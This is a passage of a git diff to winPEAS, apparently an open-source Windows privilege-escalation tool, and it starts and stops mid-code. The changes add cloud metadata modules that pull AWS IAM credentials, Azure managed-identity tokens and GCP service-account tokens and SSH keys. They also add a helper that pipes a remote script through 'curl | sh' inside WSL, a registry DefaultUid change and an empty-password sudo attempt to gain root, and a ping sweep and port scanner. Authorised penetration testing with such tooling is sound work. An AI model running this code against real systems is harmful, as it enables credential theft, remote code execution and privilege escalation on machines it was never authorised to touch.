}); } } @@ -403,6 +426,9 @@ namespace winPEAS.Info.ApplicationInfo { try { + var injectablePaths = new List(); + var isUnquotedSpaced = MyUtils.CheckQuoteAndSpaceWithPermissions(folder, out injectablePaths); + results.Add(new Dictionary() { { "Reg", "" }, { "RegKey", "" }, @@ -412,7 +438,7 @@ namespace winPEAS.Info.ApplicationInfo { "isWritableReg", ""}, { "interestingFolderRights", string.Join(", ", PermissionsHelper.GetPermissionsFolder(folder, Checks.Checks.CurrentUserSiDs))}, { "interestingFileRights", ""}, - { "isUnquotedSpaced", MyUtils.CheckQuoteAndSpace(folder).ToString() } + {"isUnquotedSpaced", isUnquotedSpaced ? string.Join(",", injectablePaths) : "false" } }); } catch (Exception) @@ -447,6 +473,9 @@ namespace winPEAS.Info.ApplicationInfo try { string folder = Path.GetDirectoryName(filepathCleaned); + var injectablePaths = new List(); + var isUnquotedSpaced = MyUtils.CheckQuoteAndSpaceWithPermissions(command, out injectablePaths); + results.Add(new Dictionary() { {"Reg", ""}, @@ -463,7 +492,7 @@ namespace winPEAS.Info.ApplicationInfo "interestingFileRights", string.Join(", ", PermissionsHelper.GetPermissionsFile(filepath, Checks.Checks.CurrentUserSiDs)) }, - {"isUnquotedSpaced", MyUtils.CheckQuoteAndSpace(command).ToString()} + {"isUnquotedSpaced", isUnquotedSpaced ? string.Join(",", injectablePaths) : "false" } }); } catch (Exception) @@ -505,6 +534,8 @@ namespace winPEAS.Info.ApplicationInfo if (File.Exists(path)) { string folder = Path.GetDirectoryName(path); + var injectablePaths = new List(); + var isUnquotedSpaced = MyUtils.CheckQuoteAndSpaceWithPermissions(path, out injectablePaths); results.Add(new Dictionary { @@ -516,7 +547,7 @@ namespace winPEAS.Info.ApplicationInfo { "isWritableReg", ""}, { "interestingFolderRights", string.Join(", ", PermissionsHelper.GetPermissionsFolder(folder, Checks.Checks.CurrentUserSiDs))}, { "interestingFileRights", string.Join(", ", PermissionsHelper.GetPermissionsFile(path, Checks.Checks.CurrentUserSiDs))}, - { "isUnquotedSpaced", MyUtils.CheckQuoteAndSpace(path).ToString() } + {"isUnquotedSpaced", isUnquotedSpaced ? string.Join(",", injectablePaths) : "false" } }); } } diff --git a/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AWSInfo.cs b/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AWSInfo.cs new file mode 100644 index 0000000..71e7bc1 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AWSInfo.cs @@ -0,0 +1,201 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Net; +using winPEAS.Helpers; + +namespace winPEAS.Info.CloudInfo +{ + internal class AWSInfo : CloudInfoBase + { + /* + * notes - possible identification: + * + - "c:\Program Files\Amazon\EC2Launch" + - "C:\Program Files\Amazon\EC2Launch\service\EC2LaunchService.exe" + - "c:\Program Files (x86)\AWS SDK for .NET" + - get EC2_TOKEN: PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600", it should start with "AQ" + */ + + const string AWS_FOLDER = "c:\\Program Files\\Amazon\\"; + const string AWS_BASE_URL = "http://169.254.169.254/latest/api/token"; + const string METADATA_URL_BASE = "http://169.254.169.254/latest/meta-data"; + + + public override string Name => "AWS EC2"; + + private Dictionary> _endpointData = null; + + public override bool IsCloud => Directory.Exists(AWS_FOLDER); + + public override Dictionary> EndpointDataList() + { + if (_endpointData == null) + { + _endpointData = new Dictionary>(); + + try + { + if (IsAvailable) + { + string API_TOKEN = CreateMetadataAPIRequest(AWS_BASE_URL, "PUT", new WebHeaderCollection { { "X-aws-ec2-metadata-token-ttl-seconds", "21600" } }); + + _endpointData.Add("General Info", GetGeneralMetadataInfo(API_TOKEN)); + _endpointData.Add("Account Info", GetAccountMetadataInfo(API_TOKEN)); + _endpointData.Add("Network Info", GetNetworkMetadataInfo(API_TOKEN)); + _endpointData.Add("IAM Role", GetIAMRoleMetadataInfo(API_TOKEN)); + _endpointData.Add("User Data", GetUserDataMetadataInfo(API_TOKEN)); + _endpointData.Add("EC2 Security Credentials", GetSecurityCredentialsMetadataInfo(API_TOKEN)); + + /* + * print_3title "SSM Runnig" + ps aux 2>/dev/null | grep "ssm-agent" | grep -v "grep" | sed "s,ssm-agent,${SED_RED}," + * + */ + } + else + { + _endpointData.Add("General Info", new List() + { + new EndpointData() + { + EndpointName = "", + Data = null, + IsAttackVector = false + } + }); + } + } + catch (Exception ex) + { + Beaprint.PrintException(ex.Message); + } + } + + return _endpointData; + } + + private List GetSecurityCredentialsMetadataInfo(string apiToken) + { + var metadataEndpoints = new List>() + { + new Tuple("ec2-instance", "identity-credentials/ec2/security-credentials/ec2-instance", false), + }; + + var result = GetMetadataInfo(metadataEndpoints, apiToken); + + return result; + } + + private List GetUserDataMetadataInfo(string apiToken) + { + var metadataEndpoints = new List>() + { + new Tuple("user-data", "latest/user-data", false), + }; + + var result = GetMetadataInfo(metadataEndpoints, apiToken); + + return result; + } + + private List GetIAMRoleMetadataInfo(string apiToken) + { + var metadataEndpoints = new List> + { + new Tuple("iam/info", "iam/info", false) + }; + + var url = $"{METADATA_URL_BASE}/iam/security-credentials/"; + var roles = CreateMetadataAPIRequest(url, "GET", new WebHeaderCollection() { { "X-aws-ec2-metadata-token", apiToken } }); + + foreach (var role in roles.Split('\n')) + { + metadataEndpoints.Add(new Tuple(role, $"iam/security-credentials/{role}", false)); + } + + var result = GetMetadataInfo(metadataEndpoints, apiToken); + + return result; + } + + private List GetNetworkMetadataInfo(string apiToken) + { + var metadataEndpoints = new List>(); + + var url = $"{METADATA_URL_BASE}/network/interfaces/macs/"; + var macs = CreateMetadataAPIRequest(url, "GET", new WebHeaderCollection() { { "X-aws-ec2-metadata-token", apiToken } }); + var urlBase = "network/interfaces/macs"; + + foreach (var mac in macs.Split('\n')) + { + metadataEndpoints.Add(new Tuple("Owner ID", $"{urlBase}/{mac}/owner-id", false)); + metadataEndpoints.Add(new Tuple("Public Hostname", $"{urlBase}/{mac}/public-hostname", false)); + metadataEndpoints.Add(new Tuple("Security Groups", $"{urlBase}/{mac}/security-groups", false)); + metadataEndpoints.Add(new Tuple("Private IPv4s", $"{urlBase}/{mac}/ipv4-associations/", false)); + metadataEndpoints.Add(new Tuple("Subnet IPv4", $"{urlBase}/{mac}/subnet-ipv4-cidr-block", false)); + metadataEndpoints.Add(new Tuple("Private IPv6s", $"{urlBase}/{mac}/ipv6s", false)); + metadataEndpoints.Add(new Tuple("Subnet IPv6", $"{urlBase}/{mac}/subnet-ipv6-cidr-blocks", false)); + metadataEndpoints.Add(new Tuple("Public IPv4s", $"{urlBase}/{mac}/public-ipv4s", false)); + } + var result = GetMetadataInfo(metadataEndpoints, apiToken); + + return result; + } + + private List GetAccountMetadataInfo(string apiToken) + { + var metadataEndpoints = new List>() + { + new Tuple("account info", "identity-credentials/ec2/info", false), + }; + + var result = GetMetadataInfo(metadataEndpoints, apiToken); + + return result; + } + + private List GetGeneralMetadataInfo(string apiToken) + { + var metadataEndpoints = new List>() + { + new Tuple("ami id", "ami-id", false), + new Tuple("instance action","instance-action", false), + new Tuple("instance id","instance-id", false), + new Tuple("instance life-cycle","instance-life-cycle", false), + new Tuple("instance type","instance-type", false), + new Tuple("placement/region","placement/region", false), + }; + + var result = GetMetadataInfo(metadataEndpoints, apiToken); + + return result; + } + + private List GetMetadataInfo(List> endpointData, string apiToken) + { + List _endpointDataList = new List(); + + foreach (var tuple in endpointData) + { + string url = $"{METADATA_URL_BASE}/{tuple.Item2}"; + + var result = CreateMetadataAPIRequest(url, "GET", new WebHeaderCollection() { { "X-aws-ec2-metadata-token", apiToken } }); + + _endpointDataList.Add(new EndpointData() + { + EndpointName = tuple.Item1, + Data = result, + IsAttackVector = tuple.Item3 + }); + } + + return _endpointDataList; + } + + public override bool TestConnection() + { + return CreateMetadataAPIRequest(AWS_BASE_URL, "GET") != null; + } + } +} diff --git a/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AzureInfo.cs b/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AzureInfo.cs new file mode 100644 index 0000000..e37f19f --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AzureInfo.cs @@ -0,0 +1,88 @@ +using System.Collections.Generic; +using System.IO; +using System.Net; +using System; + +namespace winPEAS.Info.CloudInfo +{ + internal class AzureInfo : CloudInfoBase + { + public override string Name => "Azure VM"; + public override bool IsCloud => Directory.Exists(WINDOWS_AZURE_FOLDER); + + private Dictionary> _endpointData = null; + + const string WINDOWS_AZURE_FOLDER = "c:\\windowsazure"; + const string AZURE_BASE_URL = "http://169.254.169.254/metadata/"; + const string API_VERSION = "2021-12-13"; + + public override Dictionary> EndpointDataList() + { + if (_endpointData == null) + { + _endpointData = new Dictionary>(); + List _endpointDataList = new List(); + + try + { + string result; + + List> endpoints = new List>() + { + new Tuple("Instance Details", $"instance?api-version={API_VERSION}", false), + new Tuple("Load Balancer details", $"loadbalancer?api-version={API_VERSION}", false), + new Tuple("Management token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://management.azure.com/", true), + new Tuple("Graph token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://graph.microsoft.com/", true), + new Tuple("Vault token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://vault.azure.net/", true), + new Tuple("Storage token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://storage.azure.com/", true) + }; + + if (IsAvailable) + { + + + foreach (var tuple in endpoints) + { + string url = $"{AZURE_BASE_URL}{tuple.Item2}"; + + result = CreateMetadataAPIRequest(url, "GET", new WebHeaderCollection() { { "Metadata", "true" } }); + + _endpointDataList.Add(new EndpointData() + { + EndpointName = tuple.Item1, + Data = result, + IsAttackVector = tuple.Item3 + }); + } + + + } + else + { + foreach (var endpoint in endpoints) + { + _endpointDataList.Add(new EndpointData() + { + EndpointName = endpoint.Item1, + Data = null, + IsAttackVector = false + }); + } + } + + _endpointData.Add("General", _endpointDataList); + } + catch (Exception ex) + { + } + } + + return _endpointData; + } + + public override bool TestConnection() + { + return CreateMetadataAPIRequest(AZURE_BASE_URL, "GET") != null; + } + } +} diff --git a/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/CloudInfoBase.cs b/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/CloudInfoBase.cs new file mode 100644 index 0000000..6827f08 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/CloudInfoBase.cs @@ -0,0 +1,77 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Net; +using System.Net.Sockets; +using System.Text; + +namespace winPEAS.Info.CloudInfo +{ + internal abstract class CloudInfoBase + { + public abstract string Name { get; } + + public abstract bool IsCloud { get; } + + public abstract Dictionary> EndpointDataList(); + + public abstract bool TestConnection(); + + private bool? _isAvailable; + public bool IsAvailable + { + get + { + if (_isAvailable == null) + { + _isAvailable = TestConnection(); + } + + return _isAvailable.Value; + } + } + + protected string CreateMetadataAPIRequest(string url, string method, WebHeaderCollection headers = null) + { + try + { + var request = WebRequest.CreateHttp(url); + + if (headers != null) + { + request.Headers = headers; + } + + request.Method = method; + + using (var response = (HttpWebResponse)request.GetResponse()) + { + using (var responseStream = response.GetResponseStream()) + { + // Get a reader capable of reading the response stream + using (var myStreamReader = new StreamReader(responseStream, Encoding.UTF8)) + { + // Read stream content as string + var content = myStreamReader.ReadToEnd(); + + return content; + } + } + } + } + catch (WebException exception) + { + if (exception.InnerException != null) + { + return typeof(SocketException) == exception.InnerException.GetType() ? null : string.Empty; + } + } + catch (Exception ex) + { + return string.Empty; + } + + return string.Empty; + } + } +} diff --git a/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/EndpointData.cs b/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/EndpointData.cs new file mode 100644 index 0000000..427486b --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/EndpointData.cs @@ -0,0 +1,10 @@ +namespace winPEAS.Info.CloudInfo +{ + internal class EndpointData + { + public string EndpointName { get; set; } + public string Data { get; set; } + + public bool IsAttackVector { get; set; } + } +} diff --git a/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GCPInfo.cs b/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GCPInfo.cs new file mode 100644 index 0000000..d393b57 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GCPInfo.cs @@ -0,0 +1,208 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Net; +using winPEAS.Helpers; + +namespace winPEAS.Info.CloudInfo +{ + internal class GCPInfo : CloudInfoBase + { + public override string Name => "Google Cloud Platform"; + + const string GCP_BASE_URL = "http://{URL_BASE}/"; + const string GCP_FOLDER = "C:\\Program Files\\Google\\Compute Engine\\"; + + /* + C:\Program Files\Google\Compute Engine\agent\GCEWindowsAgent.exe" + C:\Program Files\Google\OSConfig\google_osconfig_agent.exe" + c:\Program Files (x86)\Google\Cloud SDK" + http://metadata.google.internal + */ + + public override bool IsCloud => Directory.Exists(GCP_FOLDER); + + private Dictionary> _endpointData = null; + + const string METADATA_URL_BASE = "http://metadata.google.internal/computeMetadata/v1"; + + + public override Dictionary> EndpointDataList() + { + if (_endpointData == null) + { + _endpointData = new Dictionary>(); + + try + { + if (IsAvailable) + { + _endpointData.Add("GC Project Info", GetGCProjectMetadataInfo()); + _endpointData.Add("OSLogin Info", GetOSLoginMetadataInfo()); + _endpointData.Add("Instance Info", GetInstanceMetadataInfo()); + _endpointData.Add("Interfaces", GetInterfacesMetadataInfo()); + _endpointData.Add("User Data", GetUserMetadataInfo()); + _endpointData.Add("Service Accounts", GetServiceAccountsMetadataInfo()); + } + else + { + _endpointData.Add("General Info", new List() + { + new EndpointData() + { + EndpointName = "", + Data = null, + IsAttackVector = false + } + }); + } + } + catch (Exception ex) + { + Beaprint.PrintException(ex.Message); + } + } + + return _endpointData; + } + + private List GetServiceAccountsMetadataInfo() + { + var metadataEndpoints = new List>(); + + var serviceAccountsEndpointUrlBase = "instance/service-accounts"; + var url = $"{METADATA_URL_BASE}/{serviceAccountsEndpointUrlBase}"; + var serviceAccounts = CreateMetadataAPIRequest(url, "GET", new WebHeaderCollection { { "X-Google-Metadata-Request", "True" } }); + + // TODO + // echo " Name: $sa" - ignored for now + + foreach (var serviceAccount in serviceAccounts.Trim().Split('\n')) + { + metadataEndpoints.Add(new Tuple("Email", $"{serviceAccountsEndpointUrlBase}/{serviceAccount}email", false)); + metadataEndpoints.Add(new Tuple("Aliases", $"{serviceAccountsEndpointUrlBase}/{serviceAccount}aliases", false)); + metadataEndpoints.Add(new Tuple("Identity", $"{serviceAccountsEndpointUrlBase}/{serviceAccount}identity", false)); + metadataEndpoints.Add(new Tuple("Scopes", $"{serviceAccountsEndpointUrlBase}/{serviceAccount}scopes", false)); + metadataEndpoints.Add(new Tuple("Token", $"{serviceAccountsEndpointUrlBase}/{serviceAccount}token", false)); + } + + var result = GetMetadataInfo(metadataEndpoints); + + return result; + } + + private List GetUserMetadataInfo() + { + var metadataEndpoints = new List>() + { + new Tuple("startup-script", "instance/attributes/startup-script", false), + }; + + var result = GetMetadataInfo(metadataEndpoints); + + return result; + } + + private List GetInterfacesMetadataInfo() + { + var metadataEndpoints = new List>(); + + var networkEndpointUrlBase = "instance/network-interfaces"; + var url = $"{METADATA_URL_BASE}/{networkEndpointUrlBase}"; + var ifaces = CreateMetadataAPIRequest(url, "GET", new WebHeaderCollection { { "X-Google-Metadata-Request", "True" } }); + + foreach (var iface in ifaces.Trim().Split('\n')) + { + metadataEndpoints.Add(new Tuple("IP", $"{networkEndpointUrlBase}/{iface}ip", false)); + metadataEndpoints.Add(new Tuple("Subnetmask", $"{networkEndpointUrlBase}/{iface}subnetmask", false)); + metadataEndpoints.Add(new Tuple("Gateway", $"{networkEndpointUrlBase}/{iface}gateway", false)); + metadataEndpoints.Add(new Tuple("DNS", $"{networkEndpointUrlBase}/{iface}dns-servers", false)); + metadataEndpoints.Add(new Tuple("Network", $"{networkEndpointUrlBase}/{iface}network", false)); + } + + var result = GetMetadataInfo(metadataEndpoints); + + return result; + } + + private List GetInstanceMetadataInfo() + { + var metadataEndpoints = new List>() + { + new Tuple("Instance Description", "instance/description", false), + new Tuple("Hostname", "instance/hostname", false), + new Tuple("Instance ID", "instance/id", false), + new Tuple("Instance Image", "instance/image", false), + new Tuple("Machine Type", "instance/machine-type", false), + new Tuple("Instance Name", "instance/name", false), + new Tuple("Instance tags", "instance/scheduling/tags", false), + new Tuple("Zone", "instance/zone", false), + new Tuple("K8s Cluster Location", "instance/attributes/cluster-location", false), + new Tuple("K8s Cluster name", "instance/attributes/cluster-name", false), + new Tuple("K8s OSLoging enabled", "instance/attributes/enable-oslogin", false), + new Tuple("K8s Kube-labels", "instance/attributes/kube-labels", false), + new Tuple("K8s Kubeconfig", "instance/attributes/kubeconfig", false), + new Tuple("K8s Kube-env", "instance/attributes/kube-env", false), + }; + + var result = GetMetadataInfo(metadataEndpoints); + + return result; + + } + private List GetOSLoginMetadataInfo() + { + var metadataEndpoints = new List>() + { + new Tuple("OSLogin users", "oslogin/users", false), + new Tuple("OSLogin Groups", "oslogin/groups", false), + new Tuple("OSLogin Security Keys", "oslogin/security-keys", false), + new Tuple("OSLogin Authorize", "oslogin/authorize", false), + }; + + var result = GetMetadataInfo(metadataEndpoints); + + return result; + } + + private List GetGCProjectMetadataInfo() + { + var metadataEndpoints = new List>() + { + new Tuple("Project-ID", "project/project-id", false), + new Tuple("Project Number", "project/numeric-project-id", false), + new Tuple("Project SSH-Keys", "project/attributes/ssh-keys", false), + new Tuple("All Project Attributes", "project/attributes/?recursive=true", false), + }; + + var result = GetMetadataInfo(metadataEndpoints); + + return result; + } + + private List GetMetadataInfo(List> endpointData) + { + List _endpointDataList = new List(); + + foreach (var tuple in endpointData) + { + string url = $"{METADATA_URL_BASE}/{tuple.Item2}"; + var result = CreateMetadataAPIRequest(url, "GET", new WebHeaderCollection { { "X-Google-Metadata-Request", "True" } }); + + _endpointDataList.Add(new EndpointData() + { + EndpointName = tuple.Item1, + Data = result?.Trim(), + IsAttackVector = tuple.Item3 + }); + } + + return _endpointDataList; + } + + public override bool TestConnection() + { + return CreateMetadataAPIRequest(GCP_BASE_URL, "GET") != null; + } + } +} diff --git a/winPEAS/winPEASexe/winPEAS/Info/FilesInfo/WSL/WSLHelper.cs b/winPEAS/winPEASexe/winPEAS/Info/FilesInfo/WSL/WSLHelper.cs new file mode 100644 index 0000000..7cce295 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/Info/FilesInfo/WSL/WSLHelper.cs @@ -0,0 +1,136 @@ +using System; +using System.Diagnostics; +using System.Text; +using winPEAS.Helpers.Registry; + +namespace winPEAS.Info.FilesInfo.WSL +{ + public class WSLHelper + { + public static void RunLinpeas(string linpeasUrl) + { + string linpeasCmd = $"curl -L {linpeasUrl} --silent | sh"; + var cmd = CreateUnixCommand(linpeasCmd); + + ExecuteCommand(cmd.Item1, cmd.Item2); + } + + internal static Tuple CreateUnixCommand(string command, string distributionName = null) + { + string wsl = Environment.Is64BitProcess + ? "wsl.exe" + : Environment.GetEnvironmentVariable("WinDir") + "\\SysNative\\wsl.exe"; + string distributionParam = !string.IsNullOrEmpty(distributionName) + ? $"--distribution {distributionName}" + : string.Empty; + string args = $"{distributionParam} -- {command}"; + + return new Tuple(wsl, args); + } + + static string GetWSLUser(string distributionName) + { + string command = "whoami"; + + var cmd = CreateUnixCommand(command, distributionName); + var user = ExecuteCommandWaitForOutput(cmd.Item1, cmd.Item2)?.Trim(); + + return user; + } + + internal static string TryGetRootUser(string distributionName, string distributionGuid) + { + string hive = "HKCU"; + string path = @$"SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\{distributionGuid}"; + string key = "DefaultUid"; + string wslUser = GetWSLUser(distributionName); + string exploit = $"change registry value: '{hive}\\{path}\\{key}' to 0"; + string root = $"root ({exploit})"; + + if (string.Equals(wslUser, "root")) + { + return "root"; + } + var originalDefaultUserValue = RegistryHelper.GetRegValue(hive, path, key); + + var isValueChanged = RegistryHelper.WriteRegValue(hive, path, key, 0.ToString()); + if (isValueChanged) + { + wslUser = GetWSLUser(distributionName); + + if (string.Equals(wslUser, "root")) + { + RegistryHelper.WriteRegValue(hive, path, key, originalDefaultUserValue); + + return root; + } + } + + // try sudo without password + exploit = "sudo with empty password"; + var cmd = CreateUnixCommand("echo -n '' | sudo -S su root -c whoami", distributionName); + var output = ExecuteCommandWaitForOutput(cmd.Item1, cmd.Item2); + + if (output == "root") + { + return $"root ({exploit})"; + } + + return wslUser; + } + + private static string ExecuteCommandWaitForOutput(string cmd, string args) + { + Process p = new Process(); + p.StartInfo.UseShellExecute = false; + p.StartInfo.RedirectStandardOutput = true; + p.StartInfo.RedirectStandardError = true; + p.StartInfo.FileName = cmd; + p.StartInfo.Arguments = args; + p.StartInfo.StandardOutputEncoding = Encoding.UTF8; + p.Start(); + + string output = p.StandardOutput.ReadToEnd()?.Trim(); + + p.WaitForExit(); + + return output; + } + + private static void ExecuteCommand( + string command, + string args = null, + string workingFolder = null + ) + { + var processStartInfo = new ProcessStartInfo + { + UseShellExecute = false, + Verb = "OPEN", + CreateNoWindow = true, + FileName = command, + WorkingDirectory = workingFolder, + Arguments = args, + RedirectStandardOutput = true, + RedirectStandardError = true, + StandardOutputEncoding = Encoding.UTF8 + }; + + using (var process = Process.Start(processStartInfo)) + { + if (process != null) + { + while (!process.StandardOutput.EndOfStream) + { + Console.WriteLine(process.StandardOutput.ReadLine()); + } + + while (!process.StandardError.EndOfStream) + { + Console.WriteLine(process.StandardError.ReadLine()); + } + } + } + } + } +} diff --git a/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkScanner/NetPinger.cs b/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkScanner/NetPinger.cs new file mode 100644 index 0000000..298210a --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkScanner/NetPinger.cs @@ -0,0 +1,56 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Net.NetworkInformation; +using System.Threading.Tasks; + +namespace winPEAS.Info.NetworkInfo.NetworkScanner +{ + internal class NetPinger + { + private int PingTimeout = 1000; + + public List HostsAlive = new List(); + + private List ipRange = new List(); + + public void AddRange(string baseIpAddress, string netmask) + { + var addresses = NetworkUtils.GetIPAddressesByNetmask(baseIpAddress, netmask).ToList(); + var range = NetworkUtils.GetIPRange(IPAddress.Parse(addresses[0]), IPAddress.Parse(addresses[1])); + + ipRange.AddRange(range); + } + + public void AddRange(IEnumerable ipAddressList) + { + ipRange.AddRange(ipAddressList); + } + + public async Task RunPingSweepAsync() + { + var tasks = new List(); + + foreach (var ip in ipRange) + { + Ping p = new Ping(); + var task = PingAndUpdateStatus(p, ip); + tasks.Add(task); + } + + await Task.WhenAll(tasks); + } + + private async Task PingAndUpdateStatus(Ping ping, string ip) + { + var reply = await ping.SendPingAsync(ip, PingTimeout); + + if (reply.Status == IPStatus.Success) + { + HostsAlive.Add(ip); + await Console.Out.WriteLineAsync(ip); + } + } + } +} diff --git a/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkScanner/NetworkScanner.cs b/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkScanner/NetworkScanner.cs new file mode 100644 index 0000000..d403b6e --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkScanner/NetworkScanner.cs @@ -0,0 +1,93 @@ +using System; +using System.Collections.Generic; +using System.Threading.Tasks; +using winPEAS.Helpers; + +namespace winPEAS.Info.NetworkInfo.NetworkScanner +{ + internal class NetworkScanner + { + enum ScanMode + { + Auto, + IPAddressList, + IPAddressNetmask, + } + + private string[] ipAddressList; + private bool isAuto = false; + private ScanMode scanMode = ScanMode.IPAddressList; + private string baseAddress; + private string netmask; + IEnumerable ports; + + public NetworkScanner(string options, IEnumerable ports = null) + { + /* + --network "auto" - find interfaces/hosts automatically + --network "10.10.10.10,10.10.10.20" - scan only selected ip address(es) + --network "10.10.10.10/24" - scan host based on ip address/netmask + */ + this.ports = ports; + + if (string.Equals(options, "auto", StringComparison.InvariantCultureIgnoreCase)) + { + scanMode = ScanMode.Auto; + } + else if (options.Contains("/")) + { + var parts = options.Split('/'); + baseAddress = parts[0]; + netmask = parts[1]; + scanMode = ScanMode.IPAddressNetmask; + } + else + { + ipAddressList = options.Split(','); + scanMode = ScanMode.IPAddressList; + } + } + + public void Scan() + { + try + { + Beaprint.GreatPrint("Scanning network (it might take some time)..."); + + List aliveHosts = new List(); + NetPinger netPinger = new NetPinger(); + + if (scanMode == ScanMode.Auto) + { + // this is the "auto" mode + foreach (var ipAddressAndNetmask in NetworkUtils.GetInternalInterfaces()) + { + netPinger.AddRange(ipAddressAndNetmask.Item1, ipAddressAndNetmask.Item2); + } + } + if (scanMode == ScanMode.IPAddressNetmask) + { + netPinger.AddRange(baseAddress, netmask); + } + else if (scanMode == ScanMode.IPAddressList) + { + netPinger.AddRange(ipAddressList); + } + + var task = netPinger.RunPingSweepAsync(); + task.Wait(); + aliveHosts.AddRange(netPinger.HostsAlive); + + PortScanner ps = new PortScanner(this.ports); + Parallel.ForEach(aliveHosts, host => + { + ps.Start(host); + }); + } + catch (Exception e) + { + Beaprint.PrintException(e.Message); + } + } + } +} diff --git a/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkScanner/NetworkUtils.cs b/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkScanner/NetworkUtils.cs new file mode 100644 index 0000000..9e7757f --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkScanner/NetworkUtils.cs @@ -0,0 +1,221 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Linq; +using System.Net; +using System.Net.NetworkInformation; + +namespace winPEAS.Info.NetworkInfo.NetworkScanner +{ + internal static class NetworkUtils + { + + /// + /// IPAddress to UInteger + /// + /// + /// + public static uint IPToUInt(this string ipAddress) + { + if (string.IsNullOrEmpty(ipAddress)) + return 0; + + if (IPAddress.TryParse(ipAddress, out IPAddress ip)) + { + var bytes = ip.GetAddressBytes(); + Array.Reverse(bytes); + return BitConverter.ToUInt32(bytes, 0); + } + else + return 0; + + } + + /// + /// IP in Uinteger to string + /// + /// + /// + public static string IPToString(this uint ipUInt) + { + return ToIPAddress(ipUInt).ToString(); + } + + + /// + /// IP in Uinteger to IPAddress + /// + /// + /// + public static IPAddress ToIPAddress(this uint ipUInt) + { + var bytes = BitConverter.GetBytes(ipUInt); + Array.Reverse(bytes); + return new IPAddress(bytes); + } + + /// + /// First and Last IPv4 from IP + Mask + /// + /// + /// Accepts CIDR or IP. Example 255.255.255.0 or 24 + /// Removes not usable IPs from Range + /// + /// + /// If ´filterUsable=false´ first IP is not usable and last is reserved for broadcast. + /// + public static string[] GetIpRange(string ipv4, string mask, bool filterUsable) + { + uint[] uiIpRange = GetIpUintRange(ipv4, mask, filterUsable); + + return Array.ConvertAll(uiIpRange, x => IPToString(x)); + } + + /// + /// First and Last IPv4 + Mask. + /// + /// + /// Accepts CIDR or IP. Example 255.255.255.0 or 24 + /// Removes not usable IPs from Range + /// + /// + /// First IP is not usable and last is reserverd for broadcast. + /// Can use all IPs in between + /// + public static uint[] GetIpUintRange(string ipv4, string mask, bool filterUsable) + { + uint sub; + //check if mask is CIDR Notation + if (mask.Contains(".")) + { + sub = IPToUInt(mask); + } + else + { + sub = ~(0xffffffff >> Convert.ToInt32(mask)); + } + + uint ip2 = IPToUInt(ipv4); + + + uint first = ip2 & sub; + uint last = first | (0xffffffff & ~sub); + + if (filterUsable) + { + first += 1; + last -= 1; + } + + return new uint[] { first, last }; + } + + public static IEnumerable GetIPRange(IPAddress startIP, IPAddress endIP) + { + uint sIP = ipToUint(startIP.GetAddressBytes()); + uint eIP = ipToUint(endIP.GetAddressBytes()); + while (sIP <= eIP) + { + yield return new IPAddress(reverseBytesArray(sIP)).ToString(); + sIP++; + } + } + + public static string CidrToNetmask(int cidr) + { + var nmask = 0xFFFFFFFF; + nmask <<= 32 - cidr; + byte[] bytes = BitConverter.GetBytes(nmask); + Array.Reverse(bytes); + nmask = BitConverter.ToUInt32(bytes, 0); + var netmask = new System.Net.IPAddress(nmask); + return netmask.ToString(); + } + + public static IEnumerable GetIPAddressesByNetmask(string ipAddress, string netmask) + { + // TODO + // e.g. + // netmask should be e.g. 24 - currently we only support this format + string[] range = NetworkUtils.GetIpRange(ipAddress, netmask, false); + + return range; + } + + public static IEnumerable GetHostsByIPAndNetmask(string ipAddressAndNetmask) + { + // TODO + // get hosts by ip address & netmask + + // https://itecnote.com/tecnote/c-proper-way-to-scan-a-range-of-ip-addresses/ + // we nned to (maybe in parallel) + // - ping e.g. 3 times + // - scan top 5 ports + var parts = ipAddressAndNetmask.Split(':'); + + return new List + { + parts[0] + }; + } + + public static List> GetInternalInterfaces() + { + List> result = new List>(); + + foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces()) + { + if (ni.OperationalStatus == OperationalStatus.Up && + (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 || ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet)) + { + // Console.WriteLine(); + foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses) + { + if (ip.Address.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) + { + // we need ip address and a netmask as well + result.Add(new Tuple(ip.Address.ToString(), ip.IPv4Mask.ToString())); + } + } + } + } + + return result; + } + + /* Convert bytes array to 32 bit long value */ + static uint 